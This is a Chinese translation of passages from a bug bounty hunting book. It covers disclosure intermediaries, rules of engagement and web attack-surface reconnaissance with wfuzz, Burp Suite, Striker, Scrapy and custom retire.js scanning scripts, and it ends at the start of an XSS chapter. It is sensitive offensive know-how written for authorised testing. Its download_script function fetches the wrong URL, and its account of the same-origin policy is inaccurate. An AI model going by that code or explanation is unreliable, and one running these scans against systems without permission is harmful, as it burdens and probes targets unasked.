这种安排中的一个可能的第三方是 ZeroDisclo 这样的公司，我们之前提到过它与欧洲公司 YesWeH4ck（和 BountyFactory）有关联。以下是 ZeroDisclo 网站上描述其服务的摘录：

YesWeHack 与其安全研究社区保持着持续联系，可以证明，安全研究人员，进而是举报人，在协调方式上报告安全漏洞给受影响组织的过程是复杂的，尤其是当这些组织没有在 BountyFactory.io 注册漏洞悬赏计划时。

漏洞发现者通常面临如何将漏洞报告给相关组织的问题，而不将其泄露给第三方。不幸的是，直接与公司联系会带来法律风险。

作为安全研究社区的长期合作伙伴，YesWeHack 很高兴地推出 https://zerodisclo.com/。这个非营利平台为所有人提供了技术手段和必要的环境，来采纳通常称为协调漏洞披露（Coordinated Vulnerability Disclosure）的漏洞报告方法。

在这种情况下，如果研究人员发现了一个核心互联网服务（例如 JavaScript）中的严重漏洞，但不知道该向谁报告，或者（更可能的情况）担心受到受影响公司的法律报复，他们可以访问 ZeroDisclo，选择 HTTPS 或 TOR，填写描述漏洞性质及其技术细节的表格。然后，ZeroDisclo 会审核该报告并将其报告给相关方，同时保持漏洞发现者的匿名。

如果你选择这样做，请小心，因为你可能会违反计划政策。前面部分讨论的互联网漏洞悬赏计划的常见问题中，专门有一个问题是关于使用第三方中介的：

我可以通过第三方中介向你们报告漏洞吗？

不能。没有安全团队的明确同意，任何人都不能与其他人共享漏洞信息。

在通过第三方中介提交之前，确保你考虑了所有选项。如果决定使用第三方中介，采取保护措施保持匿名，例如通过 TOR 提交，以保护自己。

Web 应用程序的漏洞 – 你应该瞄准什么目标

一旦你确定了将要参与的项目——或者可能你跳过了这一步，正在浏览随机网站，寻找容易捡漏的漏洞——你就可以开始评估单个应用程序的测试了。

这样做需要了解每个应用程序的攻击面。作为快速回顾，维基百科简洁地总结了这一点：

软件环境的攻击面是指未经授权的用户（攻击者）可以尝试向环境输入数据或从环境中提取数据的不同点（攻击向量）的总和。

我们将在下一章深入讨论实际的攻击面分析，准备进行渗透测试，但在评估不同选项时，拥有一个简单的理解是有帮助的。

使用上述攻击面定义，并理解攻击面越大，发现漏洞的机会就越多，这意味着我们要寻找那些有很多信息进出点的应用程序，理想情况下是那些对匿名用户或未登录用户可用的应用程序。社交媒体网站，或者允许匿名评论者的博客和论坛，都是输入丰富的环境，各种类型的帖子、评论、反应等提供了许多不同的途径，可能会让恶意信息进入系统。

显然，攻击面较小的网站或应用程序提供的漏洞发现机会较少。一个完全静态的网站，其中 Web 服务器提供 HTML/CSS 标记，没有用户数据输入，也没有服务器端语言解释或动态生成网站内容，进行渗透测试以成功发现漏洞要困难得多——用户能影响网站的方式有限。

正如本章前面简要讨论的，受到大型安全团队保护、暴露于大量用户群体、被其他研究人员积极审计或三者兼具的网络应用程序（无论类型如何）最不可能成为有效的攻击目标。这些因素的结合描绘了一个网站潜力的整体图景：一个由小型初创公司创建的、提供大量用户互动机会的利基社交网络，将比一个托管在 Amazon S3 桶中的静态网站更容易成为攻击目标，后者没有用户输入的机会，且该服务的安全由一个大型专职团队管理。

在理解应用程序的攻击面概念的基础上，某些区域自然成为关注点。OWASP 将不同类型的攻击点分类，以帮助更好地建模网站的风险：

管理接口
查询和搜索功能
数据输入（CRUD）表单
商业工作流
事务性接口/API
操作命令和监控接口/API
与其他应用程序/系统的接口

当然，还有许多其他允许用户输入的操作。这些都是检查数据处理不当和处理不当的清理程序的机会。

随着网络的日益成熟，应用程序变得越来越依赖于各种依赖关系和子服务。这些接触点——API——也是在任何渗透测试中需要探测的弱点。与通过应用程序的 UI 进行测试相比，所需的技术方法略有不同。例如，在测试应用程序的 UI 时，你可能会寻找前端验证实例，这些验证没有被后端服务正确执行，你可以绕过前端检查或使用不同的编码方式来规避安全措施。但这种技术不适用于接收大量流量并设计为开放入口层的公共 API——虽然它仍然容易受到漏洞攻击，但漏洞可能不会像编码问题那样简单。

评估《交战规则》——如何保护自己

在开始渗透测试之前，仔细阅读《交战规则》（有时也称为行为准则）以了解该计划所接受的范围是非常重要的。

《交战规则》列出了：

在测试源代码中允许使用哪些技术
哪些网站/域名/应用程序可以进行渗透测试
哪些部分（如果有的话）不包括在测试范围内
哪些漏洞可以获得最高的奖励
哪些漏洞完全不会获得奖励
作为安全研究员，你应该使用什么凭证/账户（对于社交网络或其他需要身份验证的页面，公司通常会为渗透测试人员提供创建账户的途径，以便测试受限功能）

《交战规则》非常重要，不仅因为它们影响你是否能获得奖励（你不想浪费时间去追踪一个不符合奖励标准的漏洞），还因为通常提供该计划的公司会根据对《交战规则》的遵守情况进行判断。确保你的渗透测试活动符合这些指导方针，并在研究结束时，不会收到传票而不是薪水，这至关重要。

《交战规则》中最常见的项目之一是限制扫描器的使用。虽然我们会在第五章中详细讨论，SQL 注入、代码注入与扫描器，但使用扫描器的原则也适用于你的一般渗透测试工具。

这些原则包括以下内容：

准备好避免使用某个工具，并采取替代的工作流程。
使用过滤器（正则表达式或其他）、白名单以及其他技术来严格控制自动化应用的范围。
在提交报告之前，始终手动验证自动化过程的结果。
保留详细的日志，包含时间戳、上下文信息等。它们将使报告格式化更容易。
对扫描器或自动化工具实施速率限制。

尽管这些看起来只是一些通用的提示，但许多技巧不仅帮助你在程序的 RoE 范围内合法操作，而且通过记录过程中的所有细节，让你在任务结束时能编写一份全面的提交报告。保持良好的文档记录、限制递归过程的无限潜力、监督自动化过程，都是良好的习惯。

总结

本章讨论了评估漏洞悬赏市场、计划和个别渗透测试目标的标准。它涵盖了不同类型的计划、它们的特点，以及亚马逊、Facebook、Google、GitHub 和 Microsoft 所提供的漏洞悬赏的一些基础知识，还包括了 Bugcrowd、HackerOne、Vulnerability Lab、BountyFactory 和 Synack 等第三方漏洞悬赏市场的学习资源和总体价值。此外，本章还介绍了奖励纪念品计划的吸引力、互联网漏洞悬赏计划的独特角色、协调漏洞披露的性质以及使用第三方中介的风险，同时讨论了不同漏洞悬赏计划的参与规则/行为规范可能存在的差异。最后，本章讲解了如何在自己的渗透测试任务中设立系统和流程，以遵守这些规则并尽可能保护自己。

提问

Bugcrowd 等第三方市场与个别公司提供的漏洞悬赏计划之间有哪些区别？
参与奖励纪念品的漏洞悬赏计划值得吗？为什么或为什么不值得？
什么是私人漏洞悬赏计划？
你可以使用哪些资源来查找本章未涉及的计划？
什么因素使得一个网站成为奖励漏洞的狩猎场，吸引力更大或更小？
什么是协调漏洞披露？
在渗透测试过程中，你可以采取哪些步骤来最大限度地减少法律责任？

深入阅读

你可以在以下链接中了解我们在本章中讨论的一些主题：

Google Alerts: www.google.co.in/alerts
BountyFactory: bountyfactory.io/en/index.html
Google Bughunter University: sites.google.com/site/bughunteruniversity/
Firebounty: firebounty.com
The internet bug bounty program: internetbugbounty.org/

第三章：准备进行渗透测试

当你将搜索范围缩小到想要测试的应用程序时，就可以开始收集信息了。获取完整的站点地图、揭示隐藏内容并发现开发过程中遗留的工件（注释掉的代码、内联文档等）可以帮助你将焦点集中到有价值的领域。通过了解报告漏洞所需的信息，你可以确保从一开始就收集到所有需要的内容，方便最终提交。

本章讨论了映射目标应用程序的攻击面、在站点上搜索隐藏目录和剩余（但可访问）服务、根据渗透测试会话中的工具选择做出明智决策，以及为最终报告记录会话的技巧。

我们将涵盖以下主题：

了解目标应用程序的关注点
设置和使用 Burp Suite
查找 XSS 代码片段、SQLi Payload 和其他代码的开源列表
收集目标的 DNS 和其他网络信息
创建一系列小巧、灵活的信息收集脚本
检查已知组件的漏洞

技术要求

本章与许多其他章节一样，将依赖于 unix 命令行 shell（zsh）来引导并与通过图形安装程序、包管理器（homebrew）或 tarball 安装的程序进行交互。它还将包括几个桌面应用程序，我们将通过类似的方法安装它们到 macOS High Sierra（10.13.2）环境中。当需要使用网页浏览器时，我们将使用 Chrome（66.0.3359.139）。

对于其中一些，会有明确的 Windows 选项。在这种情况下，菜单可能看起来不同，但可用的操作是相同的。如果没有 Windows 选项，可能需要通过双系统启动更易用的 Linux 发行版之一。

工具

本章将使用多种工具，其中一些将在本书中多次使用：

wfuzz
scrapy
striker
Burp Suite
Homebrew（包管理器）
SecLists
virtualenv
jenv（Java 版本管理器）
Java 开发工具包（JDK）
Java 运行环境（JRE）1.6 或更高版本

wfuzz 是一款由渗透测试员为渗透测试员开发的模糊测试和发现工具。要安装它，只需使用 pip：pip install wfuzz。

Homebrew 是一个出色的 macOS 包管理器，它允许你通过命令行安装依赖项，就像在 Debian 中使用 apt-get 或在 Redhat 风味的 Linux 发行版中使用 yum 一样。Homebrew 可以通过其官网轻松安装（brew.sh/），然后可以通过 brew install <PACKAGE_NAME> 安装软件包。

Burp Suite 需要一个 JRE（1.6 或更高版本），但我们还需要 JDK 来使用java命令行工具从命令行引导 Burp Suite。从命令行运行 Burp 允许我们通过参数传递设置，从而更好地控制执行环境。

请按照 Portswigger 网站上的说明安装 Burp Suite：portswigger.net/burp/help/suite_gettingstarted。

要使用 Burp Suite，你需要运行一个旧版本的 Java。如果你尝试使用 Java 10.0.0 或更高版本从 CLI 启动 Burp，你将收到一条消息，说明 Burp 尚未在此版本上进行测试，可能会出现错误。

如果你只需要为 Burp 安装 Java，你可以安装一个旧版本——我们将使用 Java 1.8.0（Java 8）——并在整个系统中使用。但是，如果你需要一个更新版本的 Java 安装来运行其他程序，你仍然可以通过使用jenv命令行实用程序来运行旧版本的 Java。jenv类似于 Ruby 版本管理器rvm或 Node 版本管理器nvm，它们都允许你通过几个命令添加、列出和在不同版本之间切换语言版本。

请从其网站安装jenv：www.jenv.be/。

安装了jenv之后，你可以通过使用其/Home目录的路径简单地向其添加一个新的 Java 版本。然后我们将设置我们的系统使用它：

jenv add /Library/Java/JavaVirtualMachines/jdk1.8.0_172.jdk/Contents/Home
jenv global 1.8

你可能需要重新启动你的终端。但是你应该已经安装了 Java 8！用java -version检查一下是否是 Java 8。你应该看到这个输出：

java version "1.8.0_172"
Java(TM) SE Runtime Environment (build 1.8.0_172-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.172-b11, mixed mode)

使用 Burp

现在让我们启动 Burp - 命令中的4G部分是我们指定 Burp Suite 应该在 4 GB 内存上运行的地方：

java -jar -Xmx4G "/Applications/Burp Suite Community Edition.app/Contents/java/app/burp/burpsuite_community_1.7.33-9.jar"

由于这个命令太长了，我们可以创建一个小的包装脚本，使用$@变量来添加我们想要传递的任何选项，而不用重写我们的路径到.jar可执行文件。这里是bootstrap_burp.sh：

#!/bin/sh

java -jar -Xmx3G "/Applications/Burp Suite Community Edition.app/Contents/java/app/burp/burpsuite_community_1.7.33-9.jar" $@

现在你可以将文件设置为可执行，并将其符号链接到/usr/local/bin或适当的实用程序，这样它就可以在你的$PATH中使用：

chmod u+x bootstrap_burp.sh
sudo ln -s /Full/path/to/bootstrap_burp.sh /usr/local/bin/bootstrap_burp

这样我们就可以只用bootstrap_burp来启动程序。

攻击面侦察 - 策略和标准化的价值

应用程序的攻击面，简言之，就是数据可以进入或退出应用程序的地方。攻击面分析描述了用于描述应用程序易受攻击部分的方法。有正式的过程，比如由微软的 Michael Howard 和其他研究人员开发的相对攻击面指数（RASQ），它计算系统的攻击机会并指示应用程序的一般易受攻击性。还有通过扫描仪和手动方法可用的程序化手段，直接浏览网站，通过截图和其他笔记记录弱点。我们将讨论您可以使用的低技术和高技术方法，以便将注意力集中在有利可图的攻击线上，以及您可以使用的方法来查找网站地图上未列出的隐藏或剩余内容。

网站地图是一种极其简单的方式进行基础研究，零努力。通过使用sitemap.xml标识进行一些 URL 黑客攻击，通常会返回一个详细描述网站结构的实际 XML 文件，或者是一个 Yoast 或其他 SEO 插件提供的 HTML 页面，记录了网站的不同区域，包括文章、页面等的单独网站地图。

以下是由 Yoast 生成的网站地图页面示例：

它有助于揭示网站的高层结构，同时让您专注于重要点。有些区域可以跳过：列出网站上每篇博客文章的链接的post-sitemap1.xml和post-sitemap2.xml部分并不有用，因为每篇博客文章或多或少都会有相同的攻击点（评论、喜欢/不喜欢按钮和社交分享）。

虽然wp_quiz-sitemap.xml暗示了一组诱人的表单字段，同时告诉我们网站是一个 WordPress 应用程序（如果我们之前不知道的话），page-sitemap.xml将为我们提供更广泛的网站功能：

在这里，也有可以立即跟进和放弃的候选项。纯粹信息性的页面，如/privacy-policy、/method/rule-two和/pricing-guarantee，是简单的标记，没有与服务器或外部服务交互的机会。像/contact-us、/book-preorder-entry-form（表单在标题中！）和/referral（可能有一个提交表单的表单）这样的页面都值得跟进。/jobs可能有一个简历提交字段，也可能只是工作列表，是一个灰色区域。有些页面只需浏览一下。

网站地图并非总是可用的 - 它们总是受限于网站想要向您展示的内容 - 但它们可以作为进一步调查的有用起点。

扫描和目标侦察

自动信息收集是获得关于网站布局、攻击面和安全状况的一种一致、易于理解的信息的好方法。

强制获取网页内容

像wfuzz这样的模糊工具可以通过尝试不同的路径，使用来自巨大的词汇表的 URI，然后分析响应的 HTTP 状态码，发现隐藏的目录和文件。wfuzz功能强大，可以进行内容发现和表单操作。它易于上手，并且由于wfuzz支持插件、配方和其他高级功能，可以扩展并自定义为其他工作流程。

你用来暴力破解发现隐藏内容的词汇表质量非常重要。安装wfuzz后，克隆 SecLists GitHub 仓库（一个整理过的模糊列表集合，包括 SQLi 注入脚本、XSS 片段和其他通常是恶意的输入）到github.com/danielmiessler/SecLists。我们只需将想要替换为词汇表部分的 URL 用FUZZ字符串替换，就能启动目标站点的扫描：

wfuzz -w ~/Code/SecLists/Discovery/Web-Content/SVNDigger/all.txt --hc 404 http://webscantest.com/FUZZ

正如你从命令中看到的，我们传入了来自 SVNDigger 的 Web 内容发现列表，使用-w标志，-hc指示扫描忽略 404 状态码（隐藏代码），最后一个参数是我们想要扫描的目标 URL：

你可以看到一些有趣的探索点。虽然暴力破解工具的有效性取决于它们的词汇表，但只要你做足了研究，还是能找到有效的切入点。

请记住，暴力破解工具非常嘈杂。只应在隔离的预发布/QA 环境中使用，且必须获得许可。如果你的暴力破解工具压垮了生产服务器，这实际上与 DoS 攻击没有什么不同。

爬虫与其他数据收集技术

与暴力破解敏感资源并行，爬虫可以帮助你获取没有网站地图的站点的整体信息，而单靠暴力破解无法提供。这些链接基础也可以与其他工具共享，剔除任何超出范围或无关的条目，并进行更深入的分析。有几个有用的爬虫工具，每个工具都有其自身的优点。我们将介绍的第一个是 Burp 自带的爬虫功能，显然它是一个有力的竞争者，因为它是（并与）你工具集中的一个工具集成在一起。

Burp Spider

开始爬虫会话时，确保你已经确定了适当的目标域名：

然后，你可以右键点击目标域名并选择“蜘蛛抓取此主机”：

Striker

Striker (github.com/s0md3v/Striker) 是一个 Python 攻击性信息和漏洞扫描器，使用不同的资源进行多项检查，特别关注 DNS 和网络信息。你可以通过访问其 Github 页面上的说明进行安装。像许多 Python 项目一样，它只需要克隆代码并下载 requirements.txt 中列出的依赖项。

Striker 提供了有用的基础网络识别和扫描功能：

指纹识别目标 web 服务器
检测 CMS（支持 197 种以上）
扫描目标端口
查找 whois 信息

它还提供了一些其他功能，比如为 WordPress 实例启动 WPScan 或绕过 Cloudflare：

Scrapy 和自定义管道

scrapy 是一个流行的 Python 网络爬虫框架，可以让你轻松创建爬虫。它是一个功能强大的通用工具，由于其高度可定制性，已经自然地融入了专业安全工作流。像 XSScrapy 这样的项目，基于 Scrapy 构建的 XSS 和 SQLi 扫描工具，展示了底层代码的适应性。与 Burp Suite Spider（它的优点在于可以轻松与其他 Burp 工具集成）以及 Striker（其价值在于通过默认配置收集 DNS 和网络信息）不同，Scrapy 的吸引力在于它可以轻松设置并进行定制，创建任何类型的数据管道。

手动操作演练

如果应用没有网站地图，而你又不想使用扫描器，你仍然可以通过浏览网站的方式创建网站结构的布局，无需做笔记或截图。Burp 允许你将浏览器与应用的代理链接，然后它会记录你访问的所有页面，帮助你在浏览网站时进行记录。当你绘制网站的攻击面时，你可以通过自动化工作流添加或删除页面，确保你控制哪些内容被调查。

这种手动辅助的方法实际上可能比使用自动扫描器更为优选。除了噪音更少、对目标服务器的影响更小外，手动方法还允许你精确控制哪些内容被视为范围内并进行调查。

首先，将你的浏览器连接到 Burp 代理。

Portswigger 提供支持文章帮助你。如果你使用的是 Chrome，可以跟着我一起操作。尽管我们使用的是 Chrome，但我们将使用 Burp 针对 Safari 的支持文章，因为相关设置在你的 Mac 设置中：support.portswigger.net/customer/portal/articles/1783070-Installing_Configuring%20your%20Browser%20-%20Safari.html。

一旦你的浏览器连接并开启（并且你已经关闭了拦截功能），请访问 http://burp/。

如果您通过 Burp 代理进行此操作，您将被重定向到一个页面，您可以在该页面上下载 Burp 证书。我们需要该证书来移除任何安全警告，并允许我们的浏览器安装静态资源：

下载证书后，您只需进入您的钥匙串设置，选择文件 | 导入项目，然后上传您的 Burp 证书（.der 文件）。然后您可以双击它打开另一个窗口，在其中选择始终信任此证书：

在浏览一个网站后，您将开始看到它在 Burp 中填充信息。在目标 | 网站地图选项卡下，您可以看到浏览时点击的 URL：

020

登录每个表单，点击每个选项卡，跟随每个按钮——最终您将建立一个足够清晰的应用程序图片，以指导接下来的研究。因为您是在 Burp 中建立这个图片，您可以添加或移除范围中的 URL，并将收集到的信息发送到 Burp 中的其他工具进行后续调查。

源代码

源代码分析通常被认为仅发生在白盒测试中，即内部测试场景，作为自动化构建链的一部分或手动审查。但分析浏览器可用的客户端代码也是作为外部研究人员寻找漏洞的有效方式。

我们将特别查看 retire（Retire.js），一个具有 Node 和 CLI 组件的 Node 模块，用于分析客户端 JavaScript 和 Node 模块中的已报告漏洞。您可以通过 npm 轻松安装它，然后使用全局标志（-g）将其添加到您的 $PATH 中：npm install -g retire。报告可能已经在供应商的软件中发现的错误，但仍需在公司网站应用程序中解决/修补，通常会获得奖励。retire 易于使用的 CLI 使得在 Unix 风格中编写简短、有目的的脚本变得简单。我们将利用它来阐述渗透测试自动化的一般理念。

retire --help 显示了功能的大致轮廓：

让我们用我以前写的一个 Angular 和 Node 项目进行测试：

retire --path ~/Code/Essences/demo

这有点难以阅读。尝试显示其嵌套依赖项中的脆弱模块使其变得更加困难：

但是我们可以使用一些可用的标志来纠正这个问题。通过传递选项以将数据输出为 json 格式，并指定我们想要保存的文件名称，我们还可以将其包装在脚本中，从命令行中更方便地引用它。让我们创建一个名为 scanjs.sh 的脚本：

#!/bin/sh

retire --path $1 --outputformat json --outputpath $2; python -m json.tool $2

这个脚本需要两个参数，一个是被分析文件的路径，另一个是它将输出的文件名。基本上，脚本分析目标代码库，创建一个发现的漏洞的 json 文件，然后将格式化后的 json 文件输出到 STDOUT。这个脚本有两个输出，这样它就可以将 json 文件作为本地平面日志文件使用，并将 STDOUT 输出传递到下一个步骤，一个格式化脚本。

构建一个流程

如果我们考虑按照 Unix 的方式构建流程，每个小脚本负责一个单一的任务，通过链式连接组成更复杂的工作流（所有流程都建立在纯文本的共同基础上），那么将我们的自动化侦察工具拆解为最小的可重用部分是很有意义的。

其中一部分是我们刚才编写的包装脚本 scanjs.sh。该脚本扫描网站的客户端代码（目前来自一个代码库），并生成一个 json 格式的报告，同时保存和显示该报告。

格式化 JS 报告

但是为了更好地理解这个 json，我们需要以一种方式格式化它，从中提取关键信息（例如严重性、描述和位置），同时去除噪声（例如，依赖关系图）。我们将使用 Python，这对于字符串操作和一般的数据处理非常适合，编写一个脚本将该 json 格式化为纯文本报告。我们将把脚本命名为 formatjs.py，以便与我们的其他工具关联。首先，我们需要从 STDIN 获取 json 并将其编码为 Python 数据结构：

#!/usr/bin/env python2.7

import sys, json

data = json.load(sys.stdin)

我们的目标是创建一个表格来显示报告中的数据，涵盖每个漏洞的 severity、summary、info 和 file 属性。

我们将使用一个简单的 Python 表格库 tabulate（可以通过 pip install tabulate 安装）。根据 tabulate 的文档，您可以使用嵌套列表创建一个表格，其中内层列表包含单个表格行的值。我们将遍历分析过的不同文件，遍历每个漏洞，并将它们的属性处理成 row 列表，然后将这些 row 列表收集到我们的 rows 嵌套列表中：

rows = []

for item in data:
 for vulnerability in item['results'][0]['vulnerabilities']:
 vulnerability['file'] = item.get('file', 'N/A')
 row = format_bug(vulnerability)
 rows.append(row)

format_bug() 函数将从 vulnerability 字典中提取我们关心的信息，并将信息按正确的顺序排列在一个列表中，函数将返回该列表：

def format_bug(vulnerability):
 row = [
 vulnerability['severity'],
 vulnerability.get('identifiers').get('summary', 'N/A') if vulnerability.get('identifiers', False) else 'N/A',
 vulnerability['file'] + "\n" + vulnerability.get('info', ['N/A'])[0]
 ]
 return row

然后我们将根据严重性对漏洞进行排序，这样不同类型（高、中、低等）将被分组在一起：

print(
"""
 ,--. ,---.   ,-----. 
 |  |'   .-'  |  |) /_ ,--.,--. ,---.  ,---. 
,--. |  |`.  `-.  |  .-.  \|  ||  || .-. |(  .-' 
|  '-'  /.-'    | |  '--' /'  ''  '' '-' '.-'  `)
 `-----' `-----'  `------'  `----' .`-  / `----' 
 `---' 
""")
print tabulate(rows, headers=['Severity', 'Summary', 'Info & File'])

以下是将所有内容整合在一起后的样子，供参考：

#!/usr/bin/env python2.7

import sys, json
from tabulate import tabulate

data = json.load(sys.stdin)

rows = []

def format_bug(vulnerability):
 row = [
 vulnerability['severity'],
 vulnerability.get('identifiers').get('summary', 'N/A') if vulnerability.get('identifiers', False) else 'N/A',
 vulnerability['file'] + "\n" + vulnerability.get('info', ['N/A'])[0]
 ]
 return row

for item in data:
 for vulnerability in item['results'][0]['vulnerabilities']:
 vulnerability['file'] = item.get('file', 'N/A')
 row = format_bug(vulnerability)
 rows.append(row)

rows = sorted(rows, key=lambda x: x[0])

print(
"""
 ,--. ,---.   ,-----. 
 |  |'   .-'  |  |) /_ ,--.,--. ,---.  ,---. 
,--. |  |`.  `-.  |  .-.  \|  ||  || .-. |(  .-' 
|  '-'  /.-'    | |  '--' /'  ''  '' '-' '.-'  `)
 `-----' `-----'  `------'  `----' .`-  / `----' 
 `---' 
""")
print tabulate(rows, headers=['Severity', 'Summary', 'Info & File'])

以下是在终端运行时的样子。我正在运行 scanjs.sh 脚本包装器，然后将数据传输到 formatjs.py。这是命令：

./scanjs.sh ~/Code/Essences/demo test.json | python formatjs.py

这是输出结果：

下载 JavaScript

在我们可以将它指向一个网站之前，还有一步——我们需要下载实际的 JavaScript！在使用我们的scanjs封装分析源代码之前，我们需要从目标页面提取它。一次性从单一的 URL 拉取代码意味着，即使我们围绕攻击面侦察开发更多工具，我们也可以将这个脚本与其他服务连接起来：它可以从爬虫提供的 URL 拉取 JavaScript，也可以将 JavaScript 或其他资源输入到其他分析工具中，或者分析其他页面指标。

所以这个脚本的最简单版本应该是：脚本接受一个 URL，查看该页面的源代码以查找所有 JavaScript 库，然后将这些文件下载到指定的位置。

我们需要做的第一件事是抓取我们正在检查的页面的 HTML 内容。让我们添加一些代码，接受url和directory命令行参数，定义我们的目标和存储下载的 JavaScript 的位置。然后，我们使用requests库来拉取数据，并使用 Beautiful Soup 将 HTML 字符串转化为可搜索的对象：

#!/usr/bin/env python2.7

import os, sys
import requests
from bs4 import BeautifulSoup

url = sys.argv[1]
directory = sys.argv[2]

r = requests.get(url)
soup = BeautifulSoup(r.text, 'html.parser')

然后，我们需要遍历每个script标签，并使用src属性的数据将文件下载到我们当前根目录内的一个目录：

for script in soup.find_all('script'):
 if script.get('src'): download_script(script.get('src'))

可能你对download_script()函数不太熟悉，因为我们还没有编写它。但这正是我们所需要的——一个函数，它接受src属性路径，构建资源链接，并将其下载到我们指定的目录：

def download_script(uri):
 address = url + uri if uri[0] == '/' else uri
 filename = address[address.rfind("/")+1:address.rfind("js")+2] 
 req = requests.get(url)
 with open(directory + '/' + filename, 'wb') as file:
 file.write(req.content)

每行代码都很直接。函数定义之后，脚本的 HTTP 地址是通过 Python 的三元表达式创建的。如果src属性以/开头，它是相对路径，可以直接附加到主机名；如果不是，它必须是完整的绝对链接。三元表达式可能看起来有点复杂，但一旦你掌握了它，它的表达能力非常强大。

函数的第二行通过查找最后一个斜杠（address.rfind("/")）的字符索引和js文件扩展名的索引，再加上 2 以避免切掉js部分（address.rfind("js")+2)），然后使用[begin:end]列表切片语法从指定的索引创建一个新的字符串，从而生成 JavaScript 库链接的文件名。

然后，在第三行中，脚本使用requests从组装好的地址拉取数据，通过上下文管理器创建一个新文件，并将页面源代码写入/directory/filename.js。现在你有了一个位置，路径作为参数传递，所有来自特定页面的 JavaScript 都会保存在其中。

将一切整合在一起

那么当我们把这一切整合在一起时会是什么样子呢？其实很简单——我们只需传递正确的目录引用，就能构造一个一行代码来扫描目标网站的 JavaScript：

grabjs https://www.target.site sourcejs; scanjs sourcejs output.json | formatjs

请记住，我们已经将这些脚本创建了符号链接并将其权限更改为chmod u+x，使它们可执行并可从我们的路径中访问。通过此命令，我们告诉我们的 CL 从http://target.site下载 JavaScript 到sourcejs目录，然后扫描该目录，创建一个output.json格式的数据表示，最后将所有内容格式化为纯文本报告。

作为测试命令的一种手段，我最近读到一篇博客，批评 jQuery（负责 Web 上大部分客户端代码）在jquery.com/上运行过时的 WordPress 版本，于是我决定查看它们的 JavaScript 是否存在问题：

grabjs https://jquery.com sourcejs; scanjs sourcejs output.json | formatjs

jquery.com/存在一些问题，这并不算什么大事，但仍然令人吃惊！JavaScript 中的已知组件漏洞是一个普遍存在的问题，影响了大量网站（不同的方法论估计受影响的网站数量在整个网络中占据三分之一到四分之三之间）。

结构背后的价值

我们开发了多个脚本来实现一个目标。这个过程提出了一个问题：为什么我们不写一个程序呢？我们本可以将所有步骤（下载 JSON、分析、打印报告）都包含在一个 Python 或 Shell 脚本中；这样不是更方便吗？

但我们当前设置的优势在于不同工作流下各个部分的模块化。例如，我们可能希望一次性完成所有步骤，或者我们只需要其中的一部分。如果我已经下载了页面的所有 JSON 并将其放入一个文件夹，扫描了它并创建了some-site-1-18-18.json报告，那么，当我访问该信息时，我所需要的只是将原始json格式的报告转换为格式化输出。我可以通过简单的 Unix 命令实现这一点：

cat output.json | formatjs

或者我们可能想要扩展工作流。因为基础是建立在纯文本上的，所以添加新内容非常简单。如果我们的mail工具已经设置好，我们可以将测试结果通过邮件发送给自己：

grabjs https://www.target.site sourcejs; scanjs sourcejs output.json | formatjs | mail -s "JS Known Component Vulnerabilities" email@site.com

或者我们可以决定只向自己发送关键漏洞的邮件。我们可以使用ag，一个类似grep的自然语言搜索工具，以其惊人的速度提取我们关心的文本：

grabjs https://www.target.site sourcejs; scanjs sourcejs output.json | formatjs | ag critical | mail -s "Critical JS Known Component Vulnerabilities" email@site.com

我们可以用调用 Slack API 或其他消息服务的脚本来替代通过电子邮件作为通知的方式——这种可能性是无穷无尽的。使用这些短小的、拼接在一起的程序的好处在于，它们围绕着通用的输入和输出构建，可以随意重组和添加。它们是更广泛组合和服务的构建模块。它们本身也是非常简单的脚本，因为它们是通过命令行调用并传回信息的，可以用多种语言编写。我在这项工作中使用了 Python 和 Shell，但也可以使用 Ruby、Perl、Node 或其他脚本语言，成功的效果相似。

显然，这些短小的脚本有很多可以改进的地方。目前它们没有输入验证、错误处理、日志记录、默认参数或其他旨在使它们更干净、更可靠的功能。但随着我们逐步深入本书，我们将基于正在开发的工具进行扩展，直到它们变得更加可靠和专业。通过添加新选项，我们将展示一个小型互锁工具集的价值。

总结

本章介绍了如何使用自动扫描器、被动代理拦截和命令行工具（这些工具通过我们的自制设置进行连接）来发现网站攻击面的一些信息，并介绍了其中的一些内容。你学习了一些实用的第三方工具，也了解了如何在自定义自动化的背景下使用它们和其他工具。希望你不仅掌握了战术（我们编写的代码），还了解了背后的策略（设计理念）。

问题

查找网站上隐藏的目录和秘密文件，有什么好的工具？
你可以在哪里找到网站架构的地图？如果没有，如何自己创建一张？
如何在不使用扫描器或自动化脚本的情况下安全地创建应用程序的攻击面地图？
在 Python 中，什么是常见的网页抓取资源？
根据 Unix 哲学（单一功能、可连接、基于文本）编写脚本有什么优势？
查找 XSS 提交、SQLi 代码片段和其他模糊输入的好资源是什么？
查找与目标相关的 DNS 信息，有什么好的资源？

深入阅读

你可以通过以下链接了解我们在本章中讨论的部分主题：

SecLists: github.com/danielmiessler/SecLists
测量相对攻击面: www.cs.cmu.edu/~wing/publications/Howard-Wing03.pdf
XSScrapy: pentestools.com/xsscrapy-xsssqli-finder/

第四章：未经过滤的数据 – 一个 XSS 案例研究

跨站脚本攻击 (XSS) 是由浏览器的同源策略中的异常导致的漏洞，该策略限制了如何从外部来源加载资产（图片、样式表和 JavaScript）。

XSS 一直出现在 OWASP 十大网络应用程序漏洞调查中，有潜力成为影响目标站点大部分用户群体的非常破坏性的持久性利用漏洞。特别是在具有许多表单输入、登录、讨论线程等需要保护的站点中，它可能很难消除。

本章将涵盖创建 XSS 机会的浏览器机制，XSS 的不同类型（持久性、反射性、基于 DOM 等），如何测试以及一个完整的 XSS 漏洞示例 – 从发现漏洞到提交报告。

本章将涵盖以下主题：

XSS 概述
XSS 测试
XSS 的端到端示例

技术要求

在本节中，我们将继续配置和使用来自我们的 macOS 终端命令行的工具。我们还将使用 Burp Suite，Burp 扩展 XSS 验证器，并从 SecLists GitHub 仓库 (github.com/SecLists) 获取信息来支持我们恶意的 XSS 代码片段提交。当我们正常使用浏览器或与 Burp 结合使用时，我们将继续使用 Chrome (66.0.3359.139)。使用 XSS 验证器扩展程序将需要我们安装 Phantomjs，一个可编程的无头浏览器。

请从官方 Phantomjs 下载页面下载 Phantomjs：phantomjs.org/download.html。

快速了解 XSS – XSS 的多种形式

XSS 是单一来源策略固有的弱点。单一来源策略是现代浏览器采用的安全机制，只允许页面从执行加载的页面的同一域加载。但是有一些例外允许页面加载第三方资产 – 大多数网页加载外部 JavaScript、CSS 或图像 – 这就是 XSS 发生的途径。

当浏览器加载 HTML 标签上的 src 属性时，它会执行该属性指向的代码。它不必是一个文件 – 它可以是包含在属性字符串中的代码。而且不仅仅是 src 属性可以执行 JavaScript。

